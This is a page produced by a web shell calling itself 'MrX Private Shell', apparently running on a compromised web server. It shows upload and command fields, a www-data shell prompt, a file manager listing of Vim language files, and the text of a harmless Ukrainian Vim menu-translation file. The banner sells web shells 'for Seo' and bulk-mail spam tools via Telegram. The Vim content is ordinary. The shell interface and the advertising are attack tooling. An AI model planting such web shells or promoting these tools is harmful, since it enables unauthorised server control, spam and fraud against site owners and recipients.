__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
" Menu Translations:	Ukrainian
" Maintainer:		Bohdan Vlasyuk <bohdan@vstu.edu.ua>
" Last Change:		11 Oct 2001
" Original translations

"
" Please, see readme at htpp://www.vstu.edu.ua/~bohdan/vim before any
" complains, and even if you won't complain, read it anyway.
"

" Quit when menu translations have already been done.
if exists("did_menu_trans")
  finish
endif
let did_menu_trans = 1
let s:keepcpo= &cpo
set cpo&vim

scriptencoding utf-8

" Help menu
menutrans &Help			&Допомога
menutrans &Overview<Tab><F1>	&Загальна\ Інформація<Tab><F1>
menutrans &User\ Manual		&Керівництво\ для\ користувача
menutrans &How-to\ links	&Як-Зробити?
"menutrans &GUI			&GIU
menutrans &Credits		&Подяки
menutrans Co&pying		&Розповсюдження
menutrans O&rphans		&Допомога\ сиротам
menutrans &Version		&Версія
menutrans &About		Про\ &програму

" File menu
menutrans &File				&Файл
menutrans &Open\.\.\.<Tab>:e	    &Відкрити\.\.\.<Tab>:e
menutrans Sp&lit-Open\.\.\.<Tab>:sp &Розділити\ вікно\.\.\.<Tab>:sp
menutrans &New<Tab>:enew	    &Новий<Tab>:enew
menutrans &Close<Tab>:close	    &Закрити<Tab>:close
menutrans &Save<Tab>:w		    За&пам'ятати<Tab>:w
menutrans Save\ &As\.\.\.<Tab>:sav	Запам'ятати\ &як\.\.\.<Tab>:sav
menutrans Split\ &Diff\ with\.\.\.	По&рівняти\ з\.\.\.
menutrans Split\ Patched\ &By\.\.\.	За&латати\.\.\.
menutrans &Print					&Друкувати
menutrans Sa&ve-Exit<Tab>:wqa		Записати\ і\ ви&йти<Tab>:wqa
menutrans E&xit<Tab>:qa			&Вихід<Tab>:qa

" Edit menu
menutrans &Edit				&Редагувати
menutrans &Undo<Tab>u			&Відмінити<Tab>u
menutrans &Redo<Tab>^R			&Повернути<Tab>^R
menutrans Rep&eat<Tab>\.		П&овторити<Tab>\.
menutrans Cu&t<Tab>"+x			Ви&різати<Tab>"+x
menutrans &Copy<Tab>"+y			&Копіювати<Tab>"+y
menutrans &Paste<Tab>"+gP		В&ставити<Tab>"+gP
menutrans Put\ &Before<Tab>[p		Вставити\ попе&реду<Tab>[p
menutrans Put\ &After<Tab>]p		Вставити\ п&ісля<Tab>]p
menutrans &Select\ all<Tab>ggVG		Ви&брати\ усе<Tab>ggVG
menutrans &Find\.\.\.			&Знайти\.\.\.
menutrans Find\ and\ Rep&lace\.\.\.	За&мінити\.\.\.
menutrans Settings\ &Window		Вікно\ &налаштувань
menutrans &Global\ Settings		Загальні\ на&лаштування
menutrans F&ile\ Settings		Налаштування\ для\ &файлу
menutrans Toggle\ Line\ &Numbering<Tab>:set\ nu!	&Нумерація\ рядків<Tab>:set\ nu!
menutrans Toggle\ &List\ Mode<Tab>:set\ list!		Режим\ на&длишкового\ відображення<Tab>:set\ list!
menutrans Toggle\ Line\ &Wrap<Tab>:set\ wrap!		Режим\ &переносу<Tab>:set\ wrap!
menutrans Toggle\ W&rap\ at\ word<Tab>:set\ lbr!	Переносити\ усе\ &слово<Tab>:set\ lbr!
menutrans Toggle\ &expand-tab<Tab>:set\ et!			Користуватися\ символом\ &табуляції<Tab>:set\ et!
menutrans Toggle\ &auto-indent<Tab>:set\ ai!		Автоматичний\ &відступ<Tab>:set\ ai!
menutrans Toggle\ &C-indenting<Tab>:set\ cin!		Відступи\ для\ мови\ &C<Tab>:set\ cin!
menutrans &Shiftwidth								&Зсув
menutrans Te&xt\ Width\.\.\.						&Ширина\ тексту\.\.\.
menutrans &File\ Format\.\.\.			&Формат\ файлу\.\.\.
menutrans Soft\ &Tabstop				Позиція\ &табуляції
menutrans C&olor\ Scheme		&Кольори
menutrans Select\ Fo&nt\.\.\.		Вибрати\ &шрифт\.\.\.


menutrans &Keymap			Режим\ клавіатури
menutrans Toggle\ Pattern\ &Highlight<Tab>:set\ hls!	Виділяти\ &зразок<Tab>:set\ hls!
menutrans Toggle\ &Ignore-case<Tab>:set\ ic!		&Розрізняти\ \великі\ та\ малі\ літери<Tab>:set\ ic!
menutrans Toggle\ &Showmatch<Tab>:set\ sm!		&Негайний\ пошук<Tab>:set\ sm!
menutrans &Context\ lines	Кількість\ &важливих\ рядків
menutrans &Virtual\ Edit	Курсор\ &рухається\ без\ меж

menutrans Never			Ніколи
menutrans Block\ Selection	Вибір\ Блоку
menutrans Insert\ mode		Режим\ вставки
menutrans Block\ and\ Insert	Вибір\ і\ вставка
menutrans Always		Завжди

menutrans Toggle\ Insert\ &Mode<Tab>:set\ im!	Режим\ &вставки<Tab>:set\ im!
menutrans Search\ &Path\.\.\.	&Шлях\ пошуку\.\.\.
menutrans Ta&g\ Files\.\.\.	Файли\ &поміток\.\.\.


"
" GUI options
menutrans Toggle\ &Toolbar		Панель\ &інструментів
menutrans Toggle\ &Bottom\ Scrollbar	&Нижня\ лінійка\ зсуву
menutrans Toggle\ &Left\ Scrollbar	&Ліва\ лінійка\ зсуву
menutrans Toggle\ &Right\ Scrollbar	&Права\ лінійка\ зсуву

" Programming menu
menutrans &Tools			&Інструменти
menutrans &Jump\ to\ this\ tag<Tab>g^]	&Перейти\ до\ помітки<Tab>g^]
menutrans Jump\ &back<Tab>^T		По&вернутися<Tab>^T
menutrans Build\ &Tags\ File		&Створити\ файл\ поміток
" Folding
menutrans &Folding				&Згортки
menutrans &Enable/Disable\ folds<Tab>zi		&Дозволити/заборонити\ згортки<Tab>zi
menutrans &View\ Cursor\ Line<Tab>zv			&Бачити\ рядок\ з\ курсором<Tab>zv
menutrans Vie&w\ Cursor\ Line\ only<Tab>zMzx			Бачити\ &лише\ рядок\ з\ курсором<Tab>zMzx
menutrans C&lose\ more\ folds<Tab>zm				Закрити\ &більше\ згортків<Tab>zm
menutrans &Close\ all\ folds<Tab>zM				Закрити\ &усі\ згортки<Tab>zM
menutrans &Open\ all\ folds<Tab>zR				Відкрити\ у&сі\ згортки<Tab>zR
menutrans O&pen\ more\ folds<Tab>zr				Відкрити\ б&ільше\ згортків<Tab>zr

menutrans Create\ &Fold<Tab>zf				С&творити\ згорток<Tab>zf
menutrans &Delete\ Fold<Tab>zd				&Видалити\ згорток<Tab>zd
menutrans Delete\ &All\ Folds<Tab>zD		Видалит&и\ усі\ згортки<Tab>zD
menutrans Fold\ column\ &width				&Товщина\ рядка\ згортків
menutrans Fold\ Met&hod		&Метод\ згортання
menutrans M&anual			&Ручний
menutrans I&ndent			&Відступ
menutrans E&xpression       В&ираз
menutrans S&yntax			&Синтаксично
menutrans Ma&rker			По&значки

" Diff
menutrans &Diff					По&рівняння
menutrans &Update				&Поновити
menutrans &Get\ Block			&Запозичити\ різницю
menutrans &Put\ Block			&Впровадити\ різницю

" Make and stuff...
menutrans &Make<Tab>:make		&Будувати(make)<Tab>:make
menutrans &List\ Errors<Tab>:cl		&Список\ помилок<Tab>:cl
menutrans L&ist\ Messages<Tab>:cl!	Сп&исок\ повідомлень<Tab>:cl!
menutrans &Next\ Error<Tab>:cn		&Наступна\ помилка<Tab>:cn
menutrans &Previous\ Error<Tab>:cp	&Попередня\ помилка<Tab>:cp
menutrans &Older\ List<Tab>:cold	&Бувші\ помилки<Tab>:cold
menutrans N&ewer\ List<Tab>:cnew	&Майбутні\ помилки<Tab>:cnew
menutrans Error\ &Window	    &Вікно\ помилок
menutrans &Update<Tab>:cwin			&Поновити<Tab>:cwin
menutrans &Close<Tab>:cclose		&Закрити<Tab>:cclose
menutrans &Open<Tab>:copen			&Відкрити<Tab>:copen

menutrans &Set\ Compiler				Встановити\ &компілятор
menutrans &Convert\ to\ HEX<Tab>:%!xxd     Перевести\ в\ шістнадцяткові\ коди<Tab>:%!xxd
menutrans Conve&rt\ back<Tab>:%!xxd\ -r     Повернути\ в\ двійкову\ форму<Tab>:%!xxd\ -r

" Names for buffer menu.
menutrans &Buffers	&Буфери
menutrans &Refresh\ menu &Поновити
menutrans Delete	&Видалити
menutrans &Alternate	&Вторинний
menutrans &Next		&Слідуючий
menutrans &Previous	&Попередній
menutrans [No\ File]	[Немає\ Файла]

" Window menu
menutrans &Window			&Вікно
menutrans &New<Tab>^Wn			&Нове<Tab>^Wn
menutrans S&plit<Tab>^Ws		&Розділити<Tab>^Ws
menutrans Sp&lit\ To\ #<Tab>^W^^	Розділити\ для\ &вторинного\ файлу<Tab>^W^^
menutrans Split\ &Vertically<Tab>^Wv	Розділити\ &поперек<Tab>^Wv
"menutrans Split\ &Vertically<Tab>^Wv	&Розділити\ поперек<Tab>^Wv
menutrans Split\ File\ E&xplorer		Розділити\ для\ &перегляду\ файлів

menutrans &Close<Tab>^Wc		&Закрити<Tab>^Wc
menutrans Close\ &Other(s)<Tab>^Wo	Закрити\ усі\ &інші<Tab>^Wo
menutrans Ne&xt<Tab>^Ww			&Наступне<Tab>^Ww
menutrans P&revious<Tab>^WW		&Попереднє<Tab>^WW
menutrans &Equal\ Size<Tab>^W=		&Вирівняти\ розмір<Tab>^W=
menutrans &Max\ Height<Tab>^W_		Най&більша\ висота<Tab>^W_
menutrans M&in\ Height<Tab>^W1_		Най&менша\ висота<Tab>^W1_
menutrans Max\ &Width<Tab>^W\|		Найбі&льша\ ширина<Tab>^W\|
menutrans Min\ Widt&h<Tab>^W1\|		Наймен&ша\ ширина<Tab>^W1\|
menutrans Move\ &To			&Змістити
menutrans &Top<Tab>^WK			До&гори<Tab>^WK
menutrans &Bottom<Tab>^WJ		До&низу<Tab>^WJ
menutrans &Left\ side<Tab>^WH		У&ліво<Tab>^WH
menutrans &Right\ side<Tab>^WL		В&право<Tab>^WL
menutrans Rotate\ &Up<Tab>^WR		&Циклічно\ догори<Tab>^WR
menutrans Rotate\ &Down<Tab>^Wr		Ц&иклічно\ униз<Tab>^Wr

" The popup menu
menutrans &Undo			&Відмінити
menutrans Cu&t			Ви&різати
menutrans &Copy			&Копіювати
menutrans &Paste		В&ставити
menutrans &Delete		Ви&далити
menutrans Select\ &Word		Вибрати\ &слово
menutrans Select\ &Line		Вибрати\ &рядок
menutrans Select\ &Block	Вибрати\ &блок
menutrans Select\ &All		Вибрати\ &усе



" The GUI toolbar
if has("toolbar")
  if exists("*Do_toolbar_tmenu")
    delfun Do_toolbar_tmenu
  endif
  fun Do_toolbar_tmenu()
    tmenu ToolBar.Open		Відкрити файл
    tmenu ToolBar.Save		Запам'ятати файл
    tmenu ToolBar.SaveAll		Запам'ятати усі файли
    tmenu ToolBar.Print		Друкувати
    tmenu ToolBar.Undo		Відмінити
    tmenu ToolBar.Redo		Повернути
    tmenu ToolBar.Cut		Вирізати
    tmenu ToolBar.Copy		Копіювати
    tmenu ToolBar.Paste		Вставити
    tmenu ToolBar.Find		Знайти...
    tmenu ToolBar.FindNext	Знайти наступний
    tmenu ToolBar.FindPrev	Знайти попередній
    tmenu ToolBar.Replace	Замінити...
    tmenu ToolBar.LoadSesn	Завантажити сеанс редагування
    tmenu ToolBar.SaveSesn	Запам'ятати сеанс редагування
    tmenu ToolBar.RunScript	Виконати файл команд
    tmenu ToolBar.Make		Збудувати проект
    tmenu ToolBar.Shell		Shell
    tmenu ToolBar.RunCtags	Створити файл поміток
    tmenu ToolBar.TagJump	Перейти до помітки
    tmenu ToolBar.Help		Допомога
    tmenu ToolBar.FindHelp	Пошук у допомозі
  endfun
endif

" Syntax menu
menutrans &Syntax &Синтаксис
menutrans Set\ '&syntax'\ only	Встановлювати\ лише\ '&syntax'
menutrans Set\ '&filetype'\ too	Встановлювати\ '&filetype'\ також
menutrans &Off			&Вимкнено
menutrans &Manual		&Ручний
menutrans A&utomatic		&Автоматично
menutrans on/off\ for\ &This\ file		Перемкнути\ для\ цього\ &файла
menutrans Co&lor\ test		Перевірка\ &кольорів
menutrans &Highlight\ test	&Перевірка\ виділення
menutrans &Convert\ to\ HTML	Створити\ &HTML

" dialog texts
let menutrans_no_file = "[Немає\ Файла]"
let menutrans_help_dialog = "Вкажіть команду або слово для пошуку:\n\nДодайте i_ для команд режиму вставки (напр. i_CTRL-X)\nДодайте i_ для командного режиму (напр. с_<Del>)\nДодайте ' для позначення назви опції (напр. 'shiftwidth')"
let g:menutrans_path_dialog = "Вкажіть шлях пошуку файлів\nРозділяйте назви директорій комами."
let g:menutrans_tags_dialog = "Вкажіть назви файлів поміток\nРозділяйте назви комами."
let g:menutrans_textwidth_dialog = "Вкажіть нову ширину тексту (0 для відміни фоматування)"
let g:menutrans_fileformat_dialog = "Виберіть формат файлу"

let &cpo = s:keepcpo
unlet s:keepcpo

Filemanager

Name Type Size Permission Actions
af Folder 0755
ca Folder 0755
cs Folder 0755
cs.cp1250 Folder 0755
da Folder 0755
de Folder 0755
en_GB Folder 0755
eo Folder 0755
es Folder 0755
fi Folder 0755
fr Folder 0755
ga Folder 0755
hu Folder 0755
it Folder 0755
ja Folder 0755
ja.euc-jp Folder 0755
ja.sjis Folder 0755
ko Folder 0755
ko.UTF-8 Folder 0755
lv Folder 0755
nb Folder 0755
nl Folder 0755
no Folder 0755
pl Folder 0755
pl.UTF-8 Folder 0755
pl.cp1250 Folder 0755
pt_BR Folder 0755
ru Folder 0755
ru.cp1251 Folder 0755
sk Folder 0755
sk.cp1250 Folder 0755
sr Folder 0755
sv Folder 0755
tr Folder 0755
uk Folder 0755
uk.cp1251 Folder 0755
vi Folder 0755
zh_CN Folder 0755
zh_CN.UTF-8 Folder 0755
zh_CN.cp936 Folder 0755
zh_TW Folder 0755
zh_TW.UTF-8 Folder 0755
menu_af.latin1.vim File 73 B 0644
menu_af.utf-8.vim File 92 B 0644
menu_af_af.latin1.vim File 5.42 KB 0644
menu_af_af.utf-8.vim File 92 B 0644
menu_ca.latin1.vim File 75 B 0644
menu_ca.utf-8.vim File 153 B 0644
menu_ca_es.latin1.vim File 13.79 KB 0644
menu_ca_es.utf-8.vim File 153 B 0644
menu_chinese(gb)_gb.936.vim File 270 B 0644
menu_chinese(taiwan)_taiwan.950.vim File 284 B 0644
menu_chinese_gb.936.vim File 21.34 KB 0644
menu_chinese_taiwan.950.vim File 12.51 KB 0644
menu_cs.cp1250.vim File 82 B 0644
menu_cs.latin1.vim File 82 B 0644
menu_cs_cz.cp1250.vim File 82 B 0644
menu_cs_cz.iso_8859-2.vim File 12.65 KB 0644
menu_cs_cz.latin1.vim File 83 B 0644
menu_cs_cz.utf-8.vim File 12.97 KB 0644
menu_czech_czech_republic.1250.vim File 12.65 KB 0644
menu_czech_czech_republic.1252.vim File 113 B 0644
menu_czech_czech_republic.ascii.vim File 12.67 KB 0644
menu_da.latin1.vim File 90 B 0644
menu_da.utf-8.vim File 16.85 KB 0644
menu_de.latin1.vim File 94 B 0644
menu_de.utf-8.vim File 89 B 0644
menu_de_de.latin1.vim File 13.44 KB 0644
menu_de_de.utf-8.vim File 89 B 0644
menu_en_gb.latin1.vim File 484 B 0644
menu_en_gb.utf-8.vim File 74 B 0644
menu_english_united_kingdom.1252.vim File 84 B 0644
menu_english_united_kingdom.ascii.vim File 84 B 0644
menu_eo.utf-8.vim File 17.42 KB 0644
menu_eo_eo.utf-8.vim File 88 B 0644
menu_eo_xx.utf-8.vim File 88 B 0644
menu_es.latin1.vim File 71 B 0644
menu_es.utf-8.vim File 90 B 0644
menu_es_es.latin1.vim File 13.49 KB 0644
menu_es_es.utf-8.vim File 90 B 0644
menu_fi.latin1.vim File 92 B 0644
menu_fi.utf-8.vim File 90 B 0644
menu_fi_fi.latin1.vim File 17.42 KB 0644
menu_fi_fi.utf-8.vim File 90 B 0644
menu_finnish_finland.1252.vim File 106 B 0644
menu_fr.latin1.vim File 94 B 0644
menu_fr.utf-8.vim File 89 B 0644
menu_fr_fr.latin1.vim File 18.98 KB 0644
menu_fr_fr.utf-8.vim File 89 B 0644
menu_french_france.1252.vim File 105 B 0644
menu_german_germany.1252.vim File 105 B 0644
menu_hu.iso_8859-2.vim File 94 B 0644
menu_hu.utf-8.vim File 89 B 0644
menu_hu_hu.iso_8859-2.vim File 10.27 KB 0644
menu_hu_hu.utf-8.vim File 10.61 KB 0644
menu_is.latin1.vim File 97 B 0644
menu_is.utf-8.vim File 92 B 0644
menu_is_is.latin1.vim File 15.13 KB 0644
menu_is_is.utf-8.vim File 92 B 0644
menu_it.latin1.vim File 71 B 0644
menu_it.utf-8.vim File 90 B 0644
menu_it_it.latin1.vim File 18.09 KB 0644
menu_it_it.utf-8.vim File 90 B 0644
menu_italian_italy.1252.vim File 82 B 0644
menu_ja.cp932.vim File 292 B 0644
menu_ja.euc-jp.vim File 343 B 0644
menu_ja.eucjp.vim File 347 B 0644
menu_ja.ujis.vim File 346 B 0644
menu_ja.utf-8.vim File 131 B 0644
menu_ja_jp.cp932.vim File 292 B 0644
menu_ja_jp.euc-jp.vim File 12.49 KB 0644
menu_ja_jp.eucjp.vim File 347 B 0644
menu_ja_jp.ujis.vim File 346 B 0644
menu_ja_jp.utf-8.vim File 13.84 KB 0644
menu_japanese_japan.932.vim File 12.49 KB 0644
menu_ko.utf-8.vim File 69 B 0644
menu_ko_kr.euckr.vim File 10.31 KB 0644
menu_ko_kr.utf-8.vim File 11.11 KB 0644
menu_ko_kr.vim File 146 B 0644
menu_nl.latin1.vim File 74 B 0644
menu_nl.utf-8.vim File 93 B 0644
menu_nl_nl.latin1.vim File 10.3 KB 0644
menu_nl_nl.utf-8.vim File 93 B 0644
menu_no.latin1.vim File 125 B 0644
menu_no.utf-8.vim File 143 B 0644
menu_no_no.latin1.vim File 10.52 KB 0644
menu_no_no.utf-8.vim File 146 B 0644
menu_pl.cp1250.vim File 76 B 0644
menu_pl_pl.cp1250.vim File 76 B 0644
menu_pl_pl.iso_8859-2.vim File 12.05 KB 0644
menu_pl_pl.utf-8.vim File 12.22 KB 0644
menu_polish_poland.1250.vim File 12.04 KB 0644
menu_pt_br.latin1.vim File 67 B 0644
menu_pt_br.utf-8.vim File 86 B 0644
menu_pt_br.vim File 11.84 KB 0644
menu_pt_pt.latin1.vim File 66 B 0644
menu_pt_pt.utf-8.vim File 66 B 0644
menu_pt_pt.vim File 10.92 KB 0644
menu_ru.cp1251.vim File 71 B 0644
menu_ru.koi8-r.vim File 71 B 0644
menu_ru.utf-8.vim File 70 B 0644
menu_ru.vim File 64 B 0644
menu_ru_ru.cp1251.vim File 15.91 KB 0644
menu_ru_ru.koi8-r.vim File 15.91 KB 0644
menu_ru_ru.utf-8.vim File 20.08 KB 0644
menu_ru_ru.vim File 660 B 0644
menu_sk.cp1250.vim File 88 B 0644
menu_sk_sk.1250.vim File 217 B 0644
menu_sk_sk.cp1250.vim File 88 B 0644
menu_sk_sk.iso_8859-2.vim File 9.93 KB 0644
menu_sk_sk.vim File 216 B 0644
menu_sl_si.cp1250.vim File 12.86 KB 0644
menu_sl_si.latin2.vim File 12.87 KB 0644
menu_sl_si.utf-8.vim File 12.96 KB 0644
menu_slovak_slovak_republic.1250.vim File 9.88 KB 0644
menu_spanish_spain.850.vim File 41 B 0644
menu_sr.utf-8.vim File 70 B 0644
menu_sr_rs.ascii.vim File 12.63 KB 0644
menu_sr_rs.iso_8859-2.vim File 12.63 KB 0644
menu_sr_rs.iso_8859-5.vim File 12.59 KB 0644
menu_sr_rs.utf-8.vim File 15.46 KB 0644
menu_sr_yu.ascii.vim File 70 B 0644
menu_sr_yu.iso_8859-2.vim File 75 B 0644
menu_sr_yu.iso_8859-5.vim File 75 B 0644
menu_sr_yu.utf-8.vim File 70 B 0644
menu_sv.latin1.vim File 71 B 0644
menu_sv.utf-8.vim File 90 B 0644
menu_sv_se.latin1.vim File 10.43 KB 0644
menu_sv_se.utf-8.vim File 90 B 0644
menu_tr.cp1254.vim File 71 B 0644
menu_tr.iso_8859-9.vim File 75 B 0644
menu_tr.utf-8.vim File 70 B 0644
menu_tr_tr.cp1254.vim File 12.8 KB 0644
menu_tr_tr.iso_8859-9.vim File 12.8 KB 0644
menu_tr_tr.utf-8.vim File 13.17 KB 0644
menu_uk_ua.cp1251.vim File 10.08 KB 0644
menu_uk_ua.koi8-u.vim File 10.08 KB 0644
menu_uk_ua.utf-8.vim File 12.57 KB 0644
menu_vi_vn.vim File 13.79 KB 0644
menu_zh.big5.vim File 89 B 0644
menu_zh.cp936.vim File 98 B 0644
menu_zh.cp950.vim File 89 B 0644
menu_zh.gb2312.vim File 96 B 0644
menu_zh_cn.18030.vim File 82 B 0644
menu_zh_cn.cp936.vim File 98 B 0644
menu_zh_cn.gb2312.vim File 608 B 0644
menu_zh_cn.gbk.vim File 82 B 0644
menu_zh_cn.utf-8.vim File 23.12 KB 0644
menu_zh_tw.big5.vim File 89 B 0644
menu_zh_tw.cp950.vim File 89 B 0644
menu_zh_tw.utf-8.vim File 13.29 KB 0644
Filemanager